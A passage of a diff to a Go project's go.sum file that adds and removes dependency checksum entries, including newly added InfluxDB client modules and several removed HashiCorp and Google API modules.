v0.2.0/go.mod h1:K6qoJYypsmfVjWg8KOVDQhLc8UDgIK2HYqyqAO9z7GY= -github.com/go-fonts/stix v0.1.0/go.mod h1:w/c1f0ldAUlJmLBvlbkvVXLAD+tAMqobIIQpmnUIzUY= github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY= -github.com/go-latex/latex v0.0.0-20210118124228-b3d85cf34e07/go.mod h1:CO1AlKB2CSIqUrmQPqA0gdRIlnLEY0gK5JGjh37zN5U= -github.com/go-latex/latex v0.0.0-20210823091927-c0d11ff05a81/go.mod h1:SX0U8uGpxhq9o2S/CELCSUxEWWAuoCUcVCQWv7G2OCk= github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A= -github.com/go-openapi/jsonpointer v0.19.5/go.mod h1:Pl9vOtqEWErmShwVjC8pYs9cog34VGT37dQOVbmoatg= -github.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk= -github.com/go-pdf/fpdf v0.5.0/go.mod h1:HzcnA+A23uwogo0tp9yU+l3V+KXhiESpt1PMayhOh5M= -github.com/go-pdf/fpdf v0.6.0/go.mod h1:HzcnA+A23uwogo0tp9yU+l3V+KXhiESpt1PMayhOh5M= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= -github.com/goccy/go-json v0.9.11/go.mod h1:6MelG93GURQebXPDq3khkgXZkazVtN9CRI+MGFi0w8I= -github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= github.com/gofrs/uuid v4.0.0+incompatible h1:1SD/1F5pU8p29ybwgQSwpQk+mwdRrXCYuPhW6m+TnJw= github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4= github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= -github.com/golang/freetype v0.0.0-20170609003504-e2365dfdc4a0/go.mod h1:E/TSTwGwJL78qG/PmXZO1EjYhfJinVAhrmmHX6Z8B9k= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= -github.com/golang/glog v1.0.0/go.mod h1:EWib/APOK0SL3dFbYqvxE3UYd8E6s1ouQ7iEp/0LWV4= github.com/golang/glog v1.1.0 h1:/d3pCKDPWNnvIWe0vVUpNP32qc8U3PDVxySP/y360qE= github.com/golang/glog v1.1.0/go.mod h1:pfYeQZ3JWZoXTV5sFc986z3HTpwQs9At6P4ImfuP3NQ= github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= -github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y= @@ -948,9 +152,6 @@ github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt github.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= github.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4= -github.com/golang/mock v1.5.0/go.mod h1:CWnOUgYIOo4TcNZ0wHX3YZCqsaM1I1Jvs6v3mP3KVu8= -github.com/golang/mock v1.6.0/go.mod h1:p6yTPP+5HYm5mzsMV8JkE6ZKdX+/wYM6Hr+LicevLPs= -github.com/golang/protobuf v1.0.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= @@ -966,16 +167,11 @@ github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QD github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= -github.com/golang/protobuf v1.5.1/go.mod h1:DopwsBzvsk0Fs44TXzsVbJyPhcCPeIwnvohx4u74HPM= github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg= github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= -github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= -github.com/golang/snappy v0.0.4/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= -github.com/golangci/lint-1 v0.0.0-20181222135242-d2cdd8c08219/go.mod h1:/X8TswGSh1pIozq4ZwCfxS0WA5JGXguxk94ar/4c87Y= github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= -github.com/google/flatbuffers v2.0.8+incompatible/go.mod h1:1AeVuKshWv4vARoZatz6mlQ0JxURH0Kv5+zNeJKJCa8= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= @@ -983,21 +179,12 @@ github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/ github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE= -github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= -github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= -github.com/google/martian/v3 v3.1.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= -github.com/google/martian/v3 v3.2.1/go.mod h1:oBOf6HBosgwRXnUGWUB05QECsc6uvmMiJ3+6W4l/CUk= -github.com/google/martian/v3 v3.3.2/go.mod h1:oBOf6HBosgwRXnUGWUB05QECsc6uvmMiJ3+6W4l/CUk= github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= @@ -1005,46 +192,16 @@ github.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hf github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= -github.com/google/pprof v0.0.0-20201023163331-3e6fc7fc9c4c/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20201203190320-1bf35d6f28c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210122040257-d980be63207e/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210226084205-cbba55b83ad5/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210601050228-01bbb1931b22/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210609004039-a478d1d731e9/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= -github.com/google/pprof v0.0.0-20210720184732-4bb14d4b1be1/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= -github.com/google/s2a-go v0.1.0/go.mod h1:OJpEgntRZo8ugHpF9hkoLJbS5dSI20XZeXJ9JVywLlM= -github.com/google/s2a-go v0.1.3/go.mod h1:Ej+mSEMGRnqRzjc7VtF+jdBwYG5fuJfiZ8ELkjEwM0A= -github.com/google/s2a-go v0.1.4/go.mod h1:Ej+mSEMGRnqRzjc7VtF+jdBwYG5fuJfiZ8ELkjEwM0A= github.com/google/uuid v0.0.0-20161128191214-064e2069ce9c/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.0.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.4.0 h1:MtMxsa51/r9yyhkyLsVeVt0B+BGQZzpQiTQ4eHZ8bc4= github.com/google/uuid v1.4.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/googleapis/enterprise-certificate-proxy v0.0.0-20220520183353-fd19c99a87aa/go.mod h1:17drOmN3MwGY7t0e+Ei9b45FFGA3fBs3x36SsCg1hq8= -github.com/googleapis/enterprise-certificate-proxy v0.1.0/go.mod h1:17drOmN3MwGY7t0e+Ei9b45FFGA3fBs3x36SsCg1hq8= -github.com/googleapis/enterprise-certificate-proxy v0.2.0/go.mod h1:8C0jb7/mgJe/9KK8Lm7X9ctZC2t60YyIpYEI16jx0Qg= -github.com/googleapis/enterprise-certificate-proxy v0.2.1/go.mod h1:AwSRAtLfXpU5Nm3pW+v7rGDHp09LsPtGY9MduiEsR9k= -github.com/googleapis/enterprise-certificate-proxy v0.2.3/go.mod h1:AwSRAtLfXpU5Nm3pW+v7rGDHp09LsPtGY9MduiEsR9k= github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= -github.com/googleapis/gax-go/v2 v2.1.0/go.mod h1:Q3nei7sK6ybPYH7twZdmQpAd1MKb7pfu6SK+H1/DsU0= -github.com/googleapis/gax-go/v2 v2.1.1/go.mod h1:hddJymUZASv3XPyGkUpKj8pPO47Rmb0eJc8R6ouapiM= -github.com/googleapis/gax-go/v2 v2.2.0/go.mod h1:as02EH8zWkzwUoLbBaFeQ+arQaj/OthfcblKl4IGNaM= -github.com/googleapis/gax-go/v2 v2.3.0/go.mod h1:b8LNqSzNabLiUpXKkY7HAR5jr6bIT99EXz9pXxye9YM= -github.com/googleapis/gax-go/v2 v2.4.0/go.mod h1:XOTVJ59hdnfJLIP/dh8n5CGryZR2LxK9wbMD5+iXC6c= -github.com/googleapis/gax-go/v2 v2.5.1/go.mod h1:h6B0KMMFNtI2ddbGJn3T3ZbwkeT6yqEF02fYlzkUCyo= -github.com/googleapis/gax-go/v2 v2.6.0/go.mod h1:1mjbznJAPHFpesgE5ucqfYEscaz5kMdcIDwU/6+DDoY= -github.com/googleapis/gax-go/v2 v2.7.0/go.mod h1:TEop28CZZQ2y+c0VxMUmu1lV+fQx57QpBWsYpwqHJx8= -github.com/googleapis/gax-go/v2 v2.7.1/go.mod h1:4orTrqY6hXxxaUL4LHIPl6lGo8vAE38/qKbhSAKP6QI= -github.com/googleapis/gax-go/v2 v2.8.0/go.mod h1:4orTrqY6hXxxaUL4LHIPl6lGo8vAE38/qKbhSAKP6QI= -github.com/googleapis/gax-go/v2 v2.10.0/go.mod h1:4UOEnMCrxsSqQ940WnTiD6qJ63le2ev3xfyagutxiPw= -github.com/googleapis/gax-go/v2 v2.11.0/go.mod h1:DxmR61SGKkGLa2xigwuZIQpkCI2S5iydzRfb3peWZJI= -github.com/googleapis/go-type-adapters v1.0.0/go.mod h1:zHW75FOG2aur7gAO2B+MLby+cLsWGBF62rFAi7WjWO4= github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= -github.com/gorilla/mux v1.8.0/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So= github.com/gorilla/websocket v1.4.0/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ= github.com/grpc-ecosystem/go-grpc-middleware v1.0.0/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs= github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 h1:+9834+KizmvFV7pXQGSXQTsaWhq2GjuNUt0aUU0YBYw= @@ -1054,54 +211,26 @@ github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgf github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY= github.com/grpc-ecosystem/grpc-gateway v1.16.0 h1:gmcG1KaJ57LophUzW0Hy8NmPhnMZb4M0+kPpLofRdBo= github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw= -github.com/grpc-ecosystem/grpc-gateway/v2 v2.7.0/go.mod h1:hgWBS7lorOAVIJEQMi4ZsPv9hVvWI6+ch50m39Pf2Ks= -github.com/grpc-ecosystem/grpc-gateway/v2 v2.11.3/go.mod h1:o//XUCC/F+yRGJoPO/VU0GSB0f8Nhgmxx0VIRUvaC0w= github.com/grpc-ecosystem/grpc-gateway/v2 v2.17.0 h1:Rme6CE1aUTyV9WmrEPyGf1V+7W3iQzZ1DZkKnT6z9B0= github.com/grpc-ecosystem/grpc-gateway/v2 v2.17.0/go.mod h1:Hbb13e3/WtqQ8U5hLGkek9gJvBLasHuPFI0UEGfnQ10= -github.com/hashicorp/consul/api v1.18.0/go.mod h1:owRRGJ9M5xReDC5nfT8FTJrNAPbT4NM6p/k+d03q2v4= -github.com/hashicorp/consul/sdk v0.13.0/go.mod h1:0hs/l5fOVhJy/VdcoaNqUSi2AUs95eF5WKtv+EYIQqE= -github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= -github.com/hashicorp/go-cleanhttp v0.5.0/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= -github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= -github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48= -github.com/hashicorp/go-hclog v0.12.0/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ= -github.com/hashicorp/go-hclog v1.2.0/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ= -github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= -github.com/hashicorp/go-immutable-radix v1.3.1/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= -github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM= -github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk= -github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA= -github.com/hashicorp/go-retryablehttp v0.5.3/go.mod h1:9B5zBasrRhHXnJnui7y6sL7es7NDiJgTc6Er0maI1Xs= -github.com/hashicorp/go-rootcerts v1.0.2/go.mod h1:pqUvnprVnM5bf7AOirdbb01K4ccR319Vf4pU3K5EGc8= -github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU= -github.com/hashicorp/go-sockaddr v1.0.2/go.mod h1:rB4wwRAUzs07qva3c5SdrY/NEtAUjGlgmH/UkBUC97A= -github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4= -github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= -github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= -github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= -github.com/hashicorp/go-version v1.2.1/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= -github.com/hashicorp/golang-lru v0.5.4/go.mod h1:iADmTwqILo4mZ8BN3D2Q6+9jd8WM5uGBxy+E8yxSoD4= github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= -github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64= -github.com/hashicorp/mdns v1.0.4/go.mod h1:mtBihi+LeNXGtG8L9dX59gAEa12BDtBQSp4v/YAJqrc= -github.com/hashicorp/memberlist v0.5.0/go.mod h1:yvyXLpo0QaGE59Y7hDTsTzDD25JYBZ4mHgHUZ8lrOI0= -github.com/hashicorp/serf v0.10.1/go.mod h1:yL2t6BqATOLGc5HF7qbFkTfXoPIY0WZdWHfEvMqbG+4= github.com/huandu/xstrings v1.0.0/go.mod h1:4qWG/gcEcfX4z/mBDHJ++3ReCw9ibxbsNJbcucJdbSo= github.com/huandu/xstrings v1.3.2 h1:L18LIDzqlW6xN2rEkpdV8+oL/IXWJ1APd+vsdYy4Wdw= github.com/huandu/xstrings v1.3.2/go.mod h1:y5/lhBue+AyNmUVz9RLU9xbLR0o4KIIExikq4ovT0aE= -github.com/iancoleman/strcase v0.2.0/go.mod h1:iwCmte+B7n89clKwxIoIXy/HfoL7AsD47ZCWhYzw7ho= github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= -github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= github.com/imdario/mergo v0.3.4/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA= github.com/imdario/mergo v0.3.13 h1:lFzP57bqS/wsqKssCGmtLAb8A0wKjLGrve2q3PPVcBk= github.com/imdario/mergo v0.3.13/go.mod h1:4lJ1jqUDcsbIECGy0RUJAXNIhg+6ocWgb1ALK2O4oXg= github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= github.com/inconshreveable/mousetrap v1.0.1 h1:U3uMjPSQEBMNp1lFxmllqCPM6P5u/Xq7Pgzkat/bFNc= github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= -github.com/jackc/chunkreader v1.0.0 h1:4s39bBR8ByfqH+DKm8rQA3E1LHZWB9XWcrz8fqaZbe0= +github.com/influxdata/influxdb-client-go/v2 v2.13.0 h1:ioBbLmR5NMbAjP4UVA5r9b5xGjpABD7j65pI8kFphDM= +github.com/influxdata/influxdb-client-go/v2 v2.13.0/go.mod h1:k+spCbt9hcvqvUiz0sr5D8LolXHqAAOfPw9v/RIRHl4= +github.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839 h1:W9WBk7wlPfJLvMCdtV4zPulc4uCPrlywQOmbFOhgQNU= +github.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839/go.mod h1:xaLFMmpvUxqXtVkUJfg9QmT88cDaCJ3ZKgdZ78oO8Qo= github.com/jackc/chunkreader v1.0.0/go.mod h1:RT6O25fNZIuasFJRyZ4R/Y2BbhasbmZXF9QQ7T3kePo= github.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk= github.com/jackc/chunkreader/v2 v2.0.1 h1:i+RDz65UE+mmpjTfyz0MoVTnzeYxroil2G82ki7MGG8= @@ -1122,7 +251,6 @@ github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65 h1:DadwsjnMwFjfWc9y5W github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65/go.mod h1:5R2h2EEX+qri8jOWMbJCtaPWkrrNc7OHwsp2TCqp7ak= github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM= github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg= -github.com/jackc/pgproto3 v1.1.0 h1:FYYE4yRw+AgI8wXIinMlNjBbp/UitDJwfj5LqqewP1A= github.com/jackc/pgproto3 v1.1.0/go.mod h1:eR5FA3leWg7p9aeAqi37XOTgTIbkABlvcPB3E5rlc78= github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190420180111-c116219b62db/go.mod h1:bhq50y+xrl9n5mRYyCBFKkpRVTLYJVWeCc+mEAI3yXA= github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190609003834-432c2951c711/go.mod h1:uH0AWtUmuShn0bcesswc4aBTWGvw0cAxIJp+6OB//Wg= @@ -1155,24 +283,18 @@ github.com/jaswdr/faker v1.16.0/go.mod h1:x7ZlyB1AZqwqKZgyQlnqEG8FDptmHlncA5u2zY github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo= github.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4= github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= -github.com/json-iterator/go v1.1.9/go.mod 